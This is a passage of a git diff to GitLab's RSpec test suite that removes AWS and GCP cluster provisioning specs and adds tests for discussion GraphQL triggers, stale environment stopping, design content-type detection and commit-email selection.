- expect(subject.session_token).to be_present
- end
- end
- end
- end
-end
diff --git a/spec/services/clusters/aws/finalize_creation_service_spec.rb b/spec/services/clusters/aws/finalize_creation_service_spec.rb
deleted file mode 100644
index 6b0cb86eff0..00000000000
--- a/spec/services/clusters/aws/finalize_creation_service_spec.rb
+++ /dev/null
@@ -1,124 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Clusters::Aws::FinalizeCreationService do
- describe '#execute' do
- let(:provider) { create(:cluster_provider_aws, :creating) }
- let(:platform) { provider.cluster.platform_kubernetes }
-
- let(:create_service_account_service) { double(execute: true) }
- let(:fetch_token_service) { double(execute: gitlab_token) }
- let(:kube_client) { double(create_config_map: true) }
- let(:cluster_stack) { double(outputs: [endpoint_output, cert_output, node_role_output]) }
- let(:node_auth_config_map) { double }
-
- let(:endpoint_output) { double(output_key: 'ClusterEndpoint', output_value: api_url) }
- let(:cert_output) { double(output_key: 'ClusterCertificate', output_value: Base64.encode64(ca_pem)) }
- let(:node_role_output) { double(output_key: 'NodeInstanceRole', output_value: node_role) }
-
- let(:api_url) { 'https://kubernetes.example.com' }
- let(:ca_pem) { File.read(Rails.root.join('spec/fixtures/clusters/sample_cert.pem')) }
- let(:gitlab_token) { 'gitlab-token' }
- let(:iam_token) { 'iam-token' }
- let(:node_role) { 'arn::aws::iam::123456789012:role/node-role' }
-
- subject { described_class.new.execute(provider) }
-
- before do
- allow(Clusters::Kubernetes::CreateOrUpdateServiceAccountService).to receive(:gitlab_creator)
- .with(kube_client, rbac: true)
- .and_return(create_service_account_service)
-
- allow(Clusters::Kubernetes::FetchKubernetesTokenService).to receive(:new)
- .with(
- kube_client,
- Clusters::Kubernetes::GITLAB_ADMIN_TOKEN_NAME,
- Clusters::Kubernetes::GITLAB_SERVICE_ACCOUNT_NAMESPACE)
- .and_return(fetch_token_service)
-
- allow(Gitlab::Kubernetes::KubeClient).to receive(:new)
- .with(
- api_url,
- auth_options: { bearer_token: iam_token },
- ssl_options: {
- verify_ssl: OpenSSL::SSL::VERIFY_PEER,
- cert_store: instance_of(OpenSSL::X509::Store)
- },
- http_proxy_uri: nil
- )
- .and_return(kube_client)
-
- allow(provider.api_client).to receive(:describe_stacks)
- .with(stack_name: provider.cluster.name)
- .and_return(double(stacks: [cluster_stack]))
-
- allow(Kubeclient::AmazonEksCredentials).to receive(:token)
- .with(provider.credentials, provider.cluster.name)
- .and_return(iam_token)
-
- allow(Gitlab::Kubernetes::ConfigMaps::AwsNodeAuth).to receive(:new)
- .with(node_role).and_return(double(generate: node_auth_config_map))
- end
-
- it 'configures the provider and platform' do
- subject
-
- expect(provider).to be_created
- expect(platform.api_url).to eq(api_url)
- expect(platform.ca_pem).to eq(ca_pem)
- expect(platform.token).to eq(gitlab_token)
- expect(platform).to be_rbac
- end
-
- it 'calls the create_service_account_service' do
- expect(create_service_account_service).to receive(:execute).once
-
- subject
- end
-
- it 'configures cluster node authentication' do
- expect(kube_client).to receive(:create_config_map).with(node_auth_config_map).once
-
- subject
- end
-
- describe 'error handling' do
- shared_examples 'provision error' do |message|
- it "sets the status to :errored with an appropriate error message" do
- subject
-
- expect(provider).to be_errored
- expect(provider.status_reason).to include(message)
- end
- end
-
- context 'failed to request stack details from AWS' do
- before do
- allow(provider.api_client).to receive(:describe_stacks)
- .and_raise(Aws::CloudFormation::Errors::ServiceError.new(double, "Error message"))
- end
-
- include_examples 'provision error', 'Failed to fetch CloudFormation stack'
- end
-
- context 'failed to create auth config map' do
- before do
- allow(kube_client).to receive(:create_config_map)
- .and_raise(Kubeclient::HttpError.new(500, 'Error', nil))
- end
-
- include_examples 'provision error', 'Failed to run Kubeclient'
- end
-
- context 'failed to save records' do
- before do
- allow(provider.cluster).to receive(:save!)
- .and_raise(ActiveRecord::RecordInvalid)
- end
-
- include_examples 'provision error', 'Failed to configure EKS provider'
- end
- end
- end
-end
diff --git a/spec/services/clusters/aws/provision_service_spec.rb b/spec/services/clusters/aws/provision_service_spec.rb
deleted file mode 100644
index 5efac29ec1e..00000000000
--- a/spec/services/clusters/aws/provision_service_spec.rb
+++ /dev/null
@@ -1,130 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Clusters::Aws::ProvisionService do
- describe '#execute' do
- let(:provider) { create(:cluster_provider_aws) }
-
- let(:provision_role) { create(:aws_role, user: provider.created_by_user) }
- let(:client) { instance_double(Aws::CloudFormation::Client, create_stack: true) }
- let(:cloudformation_template) { double }
- let(:credentials) do
- instance_double(
- Aws::Credentials,
- access_key_id: 'key',
- secret_access_key: 'secret',
- session_token: 'token'
- )
- end
-
- let(:parameters) do
- [
- { parameter_key: 'ClusterName', parameter_value: provider.cluster.name },
- { parameter_key: 'ClusterRole', parameter_value: provider.role_arn },
- { parameter_key: 'KubernetesVersion', parameter_value: provider.kubernetes_version },
- { parameter_key: 'ClusterControlPlaneSecurityGroup', parameter_value: provider.security_group_id },
- { parameter_key: 'VpcId', parameter_value: provider.vpc_id },
- { parameter_key: 'Subnets', parameter_value: provider.subnet_ids.join(',') },
- { parameter_key: 'NodeAutoScalingGroupDesiredCapacity', parameter_value: provider.num_nodes.to_s },
- { parameter_key: 'NodeInstanceType', parameter_value: provider.instance_type },
- { parameter_key: 'KeyName', parameter_value: provider.key_name }
- ]
- end
-
- subject { described_class.new.execute(provider) }
-
- before do
- allow(Clusters::Aws::FetchCredentialsService).to receive(:new)
- .with(provision_role, provider: provider)
- .and_return(double(execute: credentials))
-
- allow(provider).to receive(:api_client)
- .and_return(client)
-
- stub_file_read(Rails.root.join('vendor', 'aws', 'cloudformation', 'eks_cluster.yaml'), content: cloudformation_template)
- end
-
- it 'updates the provider status to :creating and configures the provider with credentials' do
- subject
-
- expect(provider).to be_creating
- expect(provider.access_key_id).to eq 'key'
- expect(provider.secret_access_key).to eq 'secret'
- expect(provider.session_token).to eq 'token'
- end
-
- it 'creates a CloudFormation stack' do
- expect(client).to receive(:create_stack).with(
- stack_name: provider.cluster.name,
- template_body: cloudformation_template,
- parameters: parameters,
- capabilities: ["CAPABILITY_IAM"]
- )
-
- subject
- end
-
- it 'schedules a worker to monitor creation status' do
- expect(WaitForClusterCreationWorker).to receive(:perform_in)
- .with(Clusters::Aws::VerifyProvisionStatusService::INITIAL_INTERVAL, provider.cluster_id)
-
- subject
- end
-
- describe 'error handling' do
- shared_examples 'provision error' do |message|
- it "sets the status to :errored with an appropriate error message" do
- subject
-
- expect(provider).to be_errored
- expect(provider.status_reason).to include(message)
- end
- end
-
- context 'invalid state transition' do
- before do
- allow(provider).to receive(:make_creating).and_return(false)
- end
-
- include_examples 'provision error', 'Failed to update provider record'
- end
-
- context 'AWS role is not configured' do
- before do
- allow(Clusters::Aws::FetchCredentialsService).to receive(:new)
- .and_raise(Clusters::Aws::FetchCredentialsService::MissingRoleError)
- end
-
- include_examples 'provision error', 'Amazon role is not configured'
- end
-
- context 'AWS credentials are not configured' do
- before do
- allow(Clusters::Aws::FetchCredentialsService).to receive(:new)
- .and_raise(Aws::Errors::MissingCredentialsError)
- end
-
- include_examples 'provision error', 'Amazon credentials are not configured'
- end
-
- context 'Authentication failure' do
- before do
- allow(Clusters::Aws::FetchCredentialsService).to receive(:new)
- .and_raise(Aws::STS::Errors::ServiceError.new(double, 'Error message'))
- end
-
- include_examples 'provision error', 'Amazon authentication failed'
- end
-
- context 'CloudFormation failure' do
- before do
- allow(client).to receive(:create_stack)
- .and_raise(Aws::CloudFormation::Errors::ServiceError.new(double, 'Error message'))
- end
-
- include_examples 'provision error', 'Amazon CloudFormation request failed'
- end
- end
- end
-end
diff --git a/spec/services/clusters/aws/verify_provision_status_service_spec.rb b/spec/services/clusters/aws/verify_provision_status_service_spec.rb
deleted file mode 100644
index b9a58b97842..00000000000
--- a/spec/services/clusters/aws/verify_provision_status_service_spec.rb
+++ /dev/null
@@ -1,76 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Clusters::Aws::VerifyProvisionStatusService do
- describe '#execute' do
- let(:provider) { create(:cluster_provider_aws) }
-
- let(:stack) { double(stack_status: stack_status, creation_time: creation_time) }
- let(:creation_time) { 1.minute.ago }
-
- subject { described_class.new.execute(provider) }
-
- before do
- allow(provider.api_client).to receive(:describe_stacks)
- .with(stack_name: provider.cluster.name)
- .and_return(double(stacks: [stack]))
- end
-
- shared_examples 'provision error' do |message|
- it "sets the status to :errored with an appropriate error message" do
- subject
-
- expect(provider).to be_errored
- expect(provider.status_reason).to include(message)
- end
- end
-
- context 'stack creation is still in progress' do
- let(:stack_status) { 'CREATE_IN_PROGRESS' }
- let(:verify_service) { double(execute: true) }
-
- it 'schedules a worker to check again later' do
- expect(WaitForClusterCreationWorker).to receive(:perform_in)
- .with(described_class::POLL_INTERVAL, provider.cluster_id)
-
- subject
- end
-
- context 'stack creation is taking too long' do
- let(:creation_time) { 1.hour.ago }
-
- include_examples 'provision error', 'Kubernetes cluster creation time exceeds timeout'
- end
- end
-
- context 'stack creation is complete' do
- let(:stack_status) { 'CREATE_COMPLETE' }
- let(:finalize_service) { double(execute: true) }
-
- it 'finalizes creation' do
- expect(Clusters::Aws::FinalizeCreationService).to receive(:new).and_return(finalize_service)
- expect(finalize_service).to receive(:execute).with(provider).once
-
- subject
- end
- end
-
- context 'stack creation failed' do
- let(:stack_status) { 'CREATE_FAILED' }
-
- include_examples 'provision error', 'Unexpected status'
- end
-
- context 'error communicating with CloudFormation API' do
- let(:stack_status) { 'CREATE_IN_PROGRESS' }
-
- before do
- allow(provider.api_client).to receive(:describe_stacks)
- .and_raise(Aws::CloudFormation::Errors::ServiceError.new(double, 'Error message'))
- end
-
- include_examples 'provision error', 'Amazon CloudFormation request failed'
- end
- end
-end
diff --git a/spec/services/clusters/create_service_spec.rb b/spec/services/clusters/create_service_spec.rb
index 6e252bee7c0..95f10cdbd80 100644
--- a/spec/services/clusters/create_service_spec.rb
+++ b/spec/services/clusters/create_service_spec.rb
@@ -54,7 +54,6 @@ RSpec.describe Clusters::CreateService do
let!(:cluster) { create(:cluster, :provided_by_gcp, :production_environment, projects: [project]) }
it 'creates another cluster' do
- expect(ClusterProvisionWorker).to receive(:perform_async)
expect { subject }.to change { Clusters::Cluster.count }.by(1)
end
end
diff --git a/spec/services/clusters/gcp/fetch_operation_service_spec.rb b/spec/services/clusters/gcp/fetch_operation_service_spec.rb
deleted file mode 100644
index 990cc745382..00000000000
--- a/spec/services/clusters/gcp/fetch_operation_service_spec.rb
+++ /dev/null
@@ -1,45 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Clusters::Gcp::FetchOperationService do
- include GoogleApi::CloudPlatformHelpers
-
- describe '#execute' do
- let(:provider) { create(:cluster_provider_gcp, :creating) }
- let(:gcp_project_id) { provider.gcp_project_id }
- let(:zone) { provider.zone }
- let(:operation_id) { provider.operation_id }
-
- shared_examples 'success' do
- it 'yields' do
- expect { |b| described_class.new.execute(provider, &b) }
- .to yield_with_args
- end
- end
-
- shared_examples 'error' do
- it 'sets an error to provider object' do
- expect { |b| described_class.new.execute(provider, &b) }
- .not_to yield_with_args
- expect(provider.reload).to be_errored
- end
- end
-
- context 'when succeeded to fetch operation' do
- before do
- stub_cloud_platform_get_zone_operation(gcp_project_id, zone, operation_id)
- end
-
- it_behaves_like 'success'
- end
-
- context 'when Internal Server Error happened' do
- before do
- stub_cloud_platform_get_zone_operation_error(gcp_project_id, zone, operation_id)
- end
-
- it_behaves_like 'error'
- end
- end
-end
diff --git a/spec/services/clusters/gcp/finalize_creation_service_spec.rb b/spec/services/clusters/gcp/finalize_creation_service_spec.rb
deleted file mode 100644
index 9c553d0eec2..00000000000
--- a/spec/services/clusters/gcp/finalize_creation_service_spec.rb
+++ /dev/null
@@ -1,161 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Clusters::Gcp::FinalizeCreationService, '#execute' do
- include GoogleApi::CloudPlatformHelpers
- include KubernetesHelpers
-
- let(:cluster) { create(:cluster, :project, :providing_by_gcp) }
- let(:provider) { cluster.provider }
- let(:platform) { cluster.platform }
- let(:endpoint) { '111.111.111.111' }
- let(:api_url) { 'https://' + endpoint }
- let(:secret_name) { 'gitlab-token' }
- let(:token) { 'sample-token' }
- let(:namespace) { "#{cluster.project.path}-#{cluster.project.id}" }
-
- subject { described_class.new.execute(provider) }
-
- shared_examples 'success' do
- it 'configures provider and kubernetes' do
- subject
-
- expect(provider).to be_created
- end
-
- it 'properly configures database models' do
- subject
-
- cluster.reload
-
- expect(provider.endpoint).to eq(endpoint)
- expect(platform.api_url).to eq(api_url)
- expect(platform.ca_cert).to eq(Base64.decode64(load_sample_cert).strip)
- expect(platform.token).to eq(token)
- end
- end
-
- shared_examples 'error' do
- it 'sets an error to provider object' do
- subject
-
- expect(provider.reload).to be_errored
- end
- end
-
- shared_examples 'kubernetes information not successfully fetched' do
- context 'when failed to fetch gke cluster info' do
- before do
- stub_cloud_platform_get_zone_cluster_error(provider.gcp_project_id, provider.zone, cluster.name)
- end
-
- it_behaves_like 'error'
- end
-
- context 'when token is empty' do
- let(:token) { '' }
-
- it_behaves_like 'error'
- end
-
- context 'when failed to fetch kubernetes token' do
- before do
- stub_kubeclient_get_secret_error(api_url, secret_name, namespace: 'default')
- end
-
- it_behaves_like 'error'
- end
-
- context 'when service account fails to create' do
- before do
- stub_kubeclient_create_service_account_error(api_url, namespace: 'default')
- end
-
- it_behaves_like 'error'
- end
- end
-
- shared_context 'kubernetes information successfully fetched' do
- before do
- stub_cloud_platform_get_zone_cluster(
- provider.gcp_project_id, provider.zone, cluster.name, { endpoint: endpoint }
- )
-
- stub_kubeclient_discover(api_url)
- stub_kubeclient_get_namespace(api_url)
- stub_kubeclient_create_namespace(api_url)
- stub_kubeclient_get_service_account_error(api_url, 'gitlab')
- stub_kubeclient_create_service_account(api_url)
- stub_kubeclient_create_secret(api_url)
- stub_kubeclient_put_secret(api_url, 'gitlab-token')
-
- stub_kubeclient_get_secret(
- api_url,
- metadata_name: secret_name,
- token: Base64.encode64(token),
- namespace: 'default'
- )
-
- stub_kubeclient_put_cluster_role_binding(api_url, 'gitlab-admin')
- end
- end
-
- context 'With a legacy ABAC cluster' do
- before do
- provider.legacy_abac = true
- end
-
- include_context 'kubernetes information successfully fetched'
-
- it_behaves_like 'success'
-
- it 'uses ABAC authorization type' do
- subject
- cluster.reload
-
- expect(platform).to be_abac
- expect(platform.authorization_type).to eq('abac')
- end
-
- it_behaves_like 'kubernetes information not successfully fetched'
- end
-
- context 'With an RBAC cluster' do
- before do
- provider.legacy_abac = false
- end
-
- include_context 'kubernetes information successfully fetched'
-
- it_behaves_like 'success'
-
- it 'uses RBAC authorization type' do
- subject
- cluster.reload
-
- expect(platform).to be_rbac
- expect(platform.authorization_type).to eq('rbac')
- end
-
- it_behaves_like 'kubernetes information not successfully fetched'
- end
-
- context 'With a Cloud Run cluster' do
- before do
- provider.cloud_run = true
- end
-
- include_context 'kubernetes information successfully fetched'
-
- it_behaves_like 'success'
-
- it 'has knative pre-installed' do
- subject
- cluster.reload
-
- expect(cluster.application_knative).to be_present
- expect(cluster.application_knative).to be_pre_installed
- end
- end
-end
diff --git a/spec/services/clusters/gcp/provision_service_spec.rb b/spec/services/clusters/gcp/provision_service_spec.rb
deleted file mode 100644
index c8b7f628e5b..00000000000
--- a/spec/services/clusters/gcp/provision_service_spec.rb
+++ /dev/null
@@ -1,71 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Clusters::Gcp::ProvisionService do
- include GoogleApi::CloudPlatformHelpers
-
- describe '#execute' do
- let(:provider) { create(:cluster_provider_gcp, :scheduled) }
- let(:gcp_project_id) { provider.gcp_project_id }
- let(:zone) { provider.zone }
-
- shared_examples 'success' do
- it 'schedules a worker for status minitoring' do
- expect(WaitForClusterCreationWorker).to receive(:perform_in)
-
- described_class.new.execute(provider)
-
- expect(provider.reload).to be_creating
- end
- end
-
- shared_examples 'error' do
- it 'sets an error to provider object' do
- described_class.new.execute(provider)
-
- expect(provider.reload).to be_errored
- end
- end
-
- context 'when succeeded to request provision' do
- before do
- stub_cloud_platform_create_cluster(gcp_project_id, zone)
- end
-
- it_behaves_like 'success'
- end
-
- context 'when operation status is unexpected' do
- before do
- stub_cloud_platform_create_cluster(
- gcp_project_id, zone,
- {
- "status": 'unexpected'
- })
- end
-
- it_behaves_like 'error'
- end
-
- context 'when selfLink is unexpected' do
- before do
- stub_cloud_platform_create_cluster(
- gcp_project_id, zone,
- {
- "selfLink": 'unexpected'
- })
- end
-
- it_behaves_like 'error'
- end
-
- context 'when Internal Server Error happened' do
- before do
- stub_cloud_platform_create_cluster_error(gcp_project_id, zone)
- end
-
- it_behaves_like 'error'
- end
- end
-end
diff --git a/spec/services/clusters/gcp/verify_provision_status_service_spec.rb b/spec/services/clusters/gcp/verify_provision_status_service_spec.rb
deleted file mode 100644
index ffe4516c02b..00000000000
--- a/spec/services/clusters/gcp/verify_provision_status_service_spec.rb
+++ /dev/null
@@ -1,111 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Clusters::Gcp::VerifyProvisionStatusService do
- include GoogleApi::CloudPlatformHelpers
-
- describe '#execute' do
- let(:provider) { create(:cluster_provider_gcp, :creating) }
- let(:gcp_project_id) { provider.gcp_project_id }
- let(:zone) { provider.zone }
- let(:operation_id) { provider.operation_id }
-
- shared_examples 'continue_creation' do
- it 'schedules a worker for status minitoring' do
- expect(WaitForClusterCreationWorker).to receive(:perform_in)
-
- described_class.new.execute(provider)
- end
- end
-
- shared_examples 'finalize_creation' do
- it 'schedules a worker for status minitoring' do
- expect_next_instance_of(Clusters::Gcp::FinalizeCreationService) do |instance|
- expect(instance).to receive(:execute)
- end
-
- described_class.new.execute(provider)
- end
- end
-
- shared_examples 'error' do
- it 'sets an error to provider object' do
- described_class.new.execute(provider)
-
- expect(provider.reload).to be_errored
- end
- end
-
- context 'when operation status is RUNNING' do
- before do
- stub_cloud_platform_get_zone_operation(
- gcp_project_id, zone, operation_id,
- {
- "status": 'RUNNING',
- "startTime": 1.minute.ago.strftime("%FT%TZ")
- })
- end
-
- it_behaves_like 'continue_creation'
-
- context 'when cluster creation time exceeds timeout' do
- before do
- stub_cloud_platform_get_zone_operation(
- gcp_project_id, zone, operation_id,
- {
- "status": 'RUNNING',
- "startTime": 30.minutes.ago.strftime("%FT%TZ")
- })
- end
-
- it_behaves_like 'error'
- end
- end
-
- context 'when operation status is PENDING' do
- before do
- stub_cloud_platform_get_zone_operation(
- gcp_project_id, zone, operation_id,
- {
- "status": 'PENDING',
- "startTime": 1.minute.ago.strftime("%FT%TZ")
- })
- end
-
- it_behaves_like 'continue_creation'
- end
-
- context 'when operation status is DONE' do
- before do
- stub_cloud_platform_get_zone_operation(
- gcp_project_id, zone, operation_id,
- {
- "status": 'DONE'
- })
- end
-
- it_behaves_like 'finalize_creation'
- end
-
- context 'when operation status is unexpected' do
- before do
- stub_cloud_platform_get_zone_operation(
- gcp_project_id, zone, operation_id,
- {
- "status": 'unexpected'
- })
- end
-
- it_behaves_like 'error'
- end
-
- context 'when failed to get operation status' do
- before do
- stub_cloud_platform_get_zone_operation_error(gcp_project_id, zone, operation_id)
- end
-
- it_behaves_like 'error'
- end
- end
-end
diff --git a/spec/services/database/consistency_check_service_spec.rb b/spec/services/database/consistency_check_service_spec.rb
index d7dee50f7c2..6288fedfb59 100644
--- a/spec/services/database/consistency_check_service_spec.rb
+++ b/spec/services/database/consistency_check_service_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Database::ConsistencyCheckService, feature_category: :database do
+RSpec.describe Database::ConsistencyCheckService, feature_category: :pods do
let(:batch_size) { 5 }
let(:max_batches) { 2 }
diff --git a/spec/services/design_management/save_designs_service_spec.rb b/spec/services/design_management/save_designs_service_spec.rb
index c69df5f2eb9..a87494d87f7 100644
--- a/spec/services/design_management/save_designs_service_spec.rb
+++ b/spec/services/design_management/save_designs_service_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
require 'spec_helper'
-RSpec.describe DesignManagement::SaveDesignsService do
+RSpec.describe DesignManagement::SaveDesignsService, feature_category: :design_management do
include DesignManagementTestHelpers
include ConcurrentHelpers
@@ -242,6 +242,27 @@ RSpec.describe DesignManagement::SaveDesignsService do
expect(updated_designs.first.versions.size).to eq(1)
end
end
+
+ context 'when detecting content type' do
+ it 'detects content type when feature flag is enabled' do
+ expect_next_instance_of(::Lfs::FileTransformer) do |file_transformer|
+ expect(file_transformer).to receive(:new_file)
+ .with(anything, anything, hash_including(detect_content_type: true)).and_call_original
+ end
+
+ run_service
+ end
+
+ it 'skips content type detection when feature flag is disabled' do
+ stub_feature_flags(design_management_allow_dangerous_images: false)
+ expect_next_instance_of(::Lfs::FileTransformer) do |file_transformer|
+ expect(file_transformer).to receive(:new_file)
+ .with(anything, anything, hash_including(detect_content_type: false)).and_call_original
+ end
+
+ run_service
+ end
+ end
end
context 'when a design has not changed since its previous version' do
diff --git a/spec/services/discussions/resolve_service_spec.rb b/spec/services/discussions/resolve_service_spec.rb
index 9cc27973bcb..a6e1bad30ce 100644
--- a/spec/services/discussions/resolve_service_spec.rb
+++ b/spec/services/discussions/resolve_service_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Discussions::ResolveService do
+RSpec.describe Discussions::ResolveService, feature_category: :code_review_workflow do
describe '#execute' do
let_it_be(:project) { create(:project, :repository) }
let_it_be(:user) { create(:user, developer_projects: [project]) }
@@ -46,6 +46,12 @@ RSpec.describe Discussions::ResolveService do
service.execute
end
+ it 'sends GraphQL triggers' do
+ expect(GraphqlTriggers).to receive(:merge_request_merge_status_updated).with(discussion.noteable)
+
+ service.execute
+ end
+
context 'with a project that requires all discussion to be resolved' do
before do
project.update!(only_allow_merge_if_all_discussions_are_resolved: true)
@@ -122,6 +128,12 @@ RSpec.describe Discussions::ResolveService do
service.execute
end
+
+ it 'does not send GraphQL triggers' do
+ expect(GraphqlTriggers).not_to receive(:merge_request_merge_status_updated).with(discussion.noteable)
+
+ service.execute
+ end
end
context 'when resolving a discussion' do
diff --git a/spec/services/discussions/unresolve_service_spec.rb b/spec/services/discussions/unresolve_service_spec.rb
index 0009239232c..e9f58e4e10e 100644
--- a/spec/services/discussions/unresolve_service_spec.rb
+++ b/spec/services/discussions/unresolve_service_spec.rb
@@ -2,7 +2,7 @@
require "spec_helper"
-RSpec.describe Discussions::UnresolveService do
+RSpec.describe Discussions::UnresolveService, feature_category: :code_review_workflow do
describe "#execute" do
let_it_be(:project) { create(:project, :repository) }
let_it_be(:user) { create(:user, developer_projects: [project]) }
@@ -29,5 +29,32 @@ RSpec.describe Discussions::UnresolveService do
service.execute
end
+
+ it "sends GraphQL triggers" do
+ expect(GraphqlTriggers).to receive(:merge_request_merge_status_updated).with(discussion.noteable)
+
+ service.execute
+ end
+
+ context "when there are existing unresolved discussions" do
+ before do
+ create(:diff_note_on_merge_request, noteable: merge_request, project: project).to_discussion
+ end
+
+ it "does not send a GraphQL triggers" do
+ expect(GraphqlTriggers).not_to receive(:merge_request_merge_status_updated)
+
+ service.execute
+ end
+ end
+
+ context "when the noteable is not a merge request" do
+ it "does not send a GraphQL triggers" do
+ expect(discussion).to receive(:for_merge_request?).and_return(false)
+ expect(GraphqlTriggers).not_to receive(:merge_request_merge_status_updated)
+
+ service.execute
+ end
+ end
end
end
diff --git a/spec/services/draft_notes/publish_service_spec.rb b/spec/services/draft_notes/publish_service_spec.rb
index 81443eed7d3..44fe9063ac9 100644
--- a/spec/services/draft_notes/publish_service_spec.rb
+++ b/spec/services/draft_notes/publish_service_spec.rb
@@ -78,6 +78,10 @@ RSpec.describe DraftNotes::PublishService do
end
end
+ it_behaves_like 'does not trigger GraphQL subscription mergeRequestMergeStatusUpdated' do
+ let(:action) { publish }
+ end
+
it 'does not publish any draft note' do
expect { publish }.not_to change { DraftNote.count }
end
@@ -97,6 +101,10 @@ RSpec.describe DraftNotes::PublishService do
end
end
+ it_behaves_like 'triggers GraphQL subscription mergeRequestMergeStatusUpdated' do
+ let(:action) { publish }
+ end
+
it 'returns success' do
result = publish
diff --git a/spec/services/environments/stop_stale_service_spec.rb b/spec/services/environments/stop_stale_service_spec.rb
new file mode 100644
index 00000000000..46d770c30cc
--- /dev/null
+++ b/spec/services/environments/stop_stale_service_spec.rb
@@ -0,0 +1,49 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Environments::StopStaleService,
+ :clean_gitlab_redis_shared_state,
+ :sidekiq_inline,
+ feature_category: :continuous_delivery do
+ let_it_be(:project) { create(:project, :repository) }
+ let_it_be(:user) { create(:user) }
+
+ let(:params) { { after: nil } }
+ let(:service) { described_class.new(project, user, params) }
+
+ describe '#execute' do
+ subject { service.execute }
+
+ let_it_be(:project) { create(:project, :repository) }
+ let_it_be(:user) { create(:user) }
+ let_it_be(:stale_environment) { create(:environment, project: project, updated_at: 2.weeks.ago) }
+ let_it_be(:stale_environment2) { create(:environment, project: project, updated_at: 2.weeks.ago) }
+ let_it_be(:recent_environment) { create(:environment, project: project, updated_at: Date.today) }
+
+ let_it_be(:params) { { before: 1.week.ago } }
+
+ before do
+ allow(service).to receive(:can?).with(user, :stop_environment, project).and_return(true)
+ end
+
+ it 'only stops stale environments' do
+ spy_service = Environments::AutoStopWorker.new
+
+ allow(Environments::AutoStopWorker).to receive(:new) { spy_service }
+
+ expect(spy_service).to receive(:perform).with(stale_environment.id).and_call_original
+ expect(spy_service).to receive(:perform).with(stale_environment2.id).and_call_original
+ expect(spy_service).not_to receive(:perform).with(recent_environment.id)
+
+ expect(Environment).to receive(:deployed_and_updated_before).with(project.id, params[:before]).and_call_original
+ expect(Environment).to receive(:without_protected).with(project).and_call_original
+
+ expect(subject.success?).to be_truthy
+
+ expect(stale_environment.reload).to be_stopped
+ expect(stale_environment2.reload).to be_stopped
+ expect(recent_environment.reload).to be_available
+ end
+ end
+end
diff --git a/spec/services/feature_flags/create_service_spec.rb b/spec/services/feature_flags/create_service_spec.rb
index 1c9bde70af3..1a32faad948 100644
--- a/spec/services/feature_flags/create_service_spec.rb
+++ b/spec/services/feature_flags/create_service_spec.rb
@@ -86,7 +86,7 @@ RSpec.describe FeatureFlags::CreateService do
end
end
- it 'creates audit event' do
+ it 'creates audit event', :with_license do
expect { subject }.to change { AuditEvent.count }.by(1)
expect(AuditEvent.last.details[:custom_message]).to start_with('Created feature flag feature_flag with description "description".')
expect(AuditEvent.last.details[:custom_message]).to include('Created strategy "default" with scopes "*".')
diff --git a/spec/services/feature_flags/destroy_service_spec.rb b/spec/services/feature_flags/destroy_service_spec.rb
index 740923db9b6..b2793dc0560 100644
--- a/spec/services/feature_flags/destroy_service_spec.rb
+++ b/spec/services/feature_flags/destroy_service_spec.rb
@@ -31,7 +31,7 @@ RSpec.describe FeatureFlags::DestroyService do
expect { subject }.to change { Operations::FeatureFlag.count }.by(-1)
end
- it 'creates audit log' do
+ it 'creates audit log', :with_license do
expect { subject }.to change { AuditEvent.count }.by(1)
expect(audit_event_message).to eq("Deleted feature flag #{feature_flag.name}.")
end
diff --git a/spec/services/feature_flags/update_service_spec.rb b/spec/services/feature_flags/update_service_spec.rb
index 8f985d34961..1c5af71a50a 100644
--- a/spec/services/feature_flags/update_service_spec.rb
+++ b/spec/services/feature_flags/update_service_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe FeatureFlags::UpdateService do
+RSpec.describe FeatureFlags::UpdateService, :with_license do
let_it_be(:project) { create(:project) }
let_it_be(:developer) { create(:user) }
let_it_be(:reporter) { create(:user) }
diff --git a/spec/services/files/base_service_spec.rb b/spec/services/files/base_service_spec.rb
new file mode 100644
index 00000000000..57fb378f1a0
--- /dev/null
+++ b/spec/services/files/base_service_spec.rb
@@ -0,0 +1,59 @@
+# frozen_string_literal: true
+
+require "spec_helper"
+
+RSpec.describe Files::BaseService, feature_category: :source_code_management do
+ let_it_be(:group) { create(:group) }
+ let_it_be(:project) { create(:project, group: group) }
+ let_it_be(:user) { create(:user) }
+ let(:params) { {} }
+
+ subject(:author_email) { described_class.new(project, user, params).instance_variable_get(:@author_email) }
+
+ before do
+ group.add_developer(user)
+ end
+
+ context 'with no namespace_commit_emails' do
+ it 'sets @author_email to user default email' do
+ expect(author_email).to eq(user.email)
+ end
+ end
+
+ context 'with an author_email in params and namespace_commit_email' do
+ let(:params) { { author_email: 'email_from_params@example.com' } }
+
+ before do
+ create(:namespace_commit_email, user: user, namespace: group)
+ end
+
+ it 'gives precedence to the parameter value for @author_email' do
+ expect(author_email).to eq('email_from_params@example.com')
+ end
+ end
+
+ context 'with a project namespace_commit_email' do
+ it 'sets @author_email to the project namespace_commit_email' do
+ namespace_commit_email = create(:namespace_commit_email, user: user, namespace: project.project_namespace)
+
+ expect(author_email).to eq(namespace_commit_email.email.email)
+ end
+ end
+
+ context 'with a group namespace_commit_email' do
+ it 'sets @author_email to the group namespace_commit_email' do
+ namespace_commit_email = create(:namespace_commit_email, user: user, namespace: group)
+
+ expect(author_email).to eq(namespace_commit_email.email.email)
+ end
+ end
+
+ context 'with a project and group namespace_commit_email' do
+ it 'sets @author_email to the project namespace_commit_email' do
+ namespace_commit_email = create(:namespace_commit_email, user: user, namespace: project.project_namespace)
+ create(:namespace_commit_email, user: user, namespace: group)
+
+ expect(author_email).to eq(namespace_commit_email.email.email)
+ end
+ end
+end
diff --git a/spec/services/groups/import_export/export_service_spec.rb b/spec/services/groups/import_export/export_service_spec.rb
index d6ce40f413b..ec42a728409 100644
